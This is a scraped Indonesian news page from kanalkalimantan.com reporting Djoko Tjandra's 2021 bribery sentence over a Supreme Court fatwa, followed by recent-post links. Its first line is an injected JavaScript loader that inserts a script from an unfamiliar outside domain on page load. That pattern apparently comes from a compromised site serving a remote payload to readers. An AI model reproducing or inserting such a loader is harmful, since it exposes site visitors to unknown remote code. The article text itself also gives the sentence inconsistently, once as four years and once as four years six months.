(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tok!!! Djoko Tjandra Divonis 4,5 Tahun Penjara Kasus Suap Urus Fatwa MA


KANALKALIMANTAN.COM, JAKARTA – Terdakwa Djoko Tjandra dijatuhkan vonis majelis hakim empat tahun penjara dalam kasus suap pengurusan fatwa Mahkamah Agung (MA) di Pengadilan Tindak Pidana Korupsi (Tipikor), Jakarta Pusat, pada Senin (5/4/2021).

Selain pidana badan, majelis hakim juga meminta terdakwa Djoko membayar denda Rp 100 juta, subsider enam bulan kurungan penjara.

“Menjatuhkan pidana oleh karena itu kepada terdakwa dengan pidana penjara selama 4 tahun 6 bulan serta denda Rp 100 juta subsider 6 bulan, kurungan penjara,” kata Ketua Majelis Hakim Muhammad Damis dalam pembacaan putusan, di PN Tipikor, Jakarta Pusat, Senin (5/4/2021).

Djoko dinilai terbukti memberikan suap kepada penegak hukum Jaksa Pinangki Sirna Malasari, Irjen Napoleon dan Brigjen Prasetijo Utomo dalam dua perkara untuk mengurus Fatwa Mahkamah Agung (MA) terkait status buronan Djoko dalam kasus cassie bank Bali serta kasus suap penghapusan red notice dan penghapusan DPO Djoko.

Djoko Tjandra saat menjalani sidang putusan kasus suap kepengurusan fatwa di MA. Hakim memvonis Djoko Tjandra 4 tahun, enam bulan penjara. Foto: Suara.com/Welly Hidayat

“Menyatakan terdakwa Joko Soegiarto Tjandra terbukti secata sah dan meyakinkan bersalah melakukan korupsi secara bersama-sama,” ucap Damis.

Adapun hal memberatkan Djoko Tjandra, ia tak mendukung upaya pemerintah dalam pemberantasan korupsi, kolusi dan nepotisme.

“Perbuatan dilakukan sebagai upaya untuk menghindari keputusan pengadilan yang berkekuatan hukum tetap,” kata dia.

“Penyuapan dilakukan ke penegak hukum,” sambungnya.
Sedangkan, hal meringankan terdakwa Djoko bersikap sopan selama persidangan, terdakwa berusia lanjut.

Vonis majelis hakim lebih berat dari tuntutan Jaksa Penuntut Umum (JPU) dari Kejaksaan Agung selama empat tahun penjara.

Dalam kasus ini, terdakwa Pinangki Sirna Malasari juga sudah didakwa menerima uang senilai 500 ribu USD dari Djoko Tjandra untuk mengurus fatwa di MA
Hal itu dilakukan agar Djoko Tjandra yang saat itu masih buron, tidak dieksekusi dalam kasus hak tagih atau cassie Bank Bali.

Perkara ini dimulai saat Pinangki bertemu sosok Rahmat dan Anita Kolopaking pada September 2019. Saat itu, Pinangki meminta agar Rahmat dikenalkan kepada Djoko Tjandra.

Kemudian, Anita Kolopaking akan menanyakan ke temannya yang seorang hakim di MA mengenai kemungkinan terbitnya fatwa bagi Djoko Tjandra. Guna melancarkan aksi itu, Djoko Tjandra meminta Pinangki untuk membuat action plan ke Kejaksaan Agung.

Pada tanggal 12 November 2019, Pinangki bersama Rahmat menemui Djoko Tjandra di Kuala Lumpur, Malaysia. Kepada Djoko Tjandra, Pinangki memperkenalkan diri sebagai orang yang mampu mengurus upaya hukum. (suara.com)

Edotor : Kk

 

 


Al Ghifari

Recent Posts

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

17 menit ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

2 jam ago

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

19 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

20 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

20 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

21 jam ago

This website uses cookies.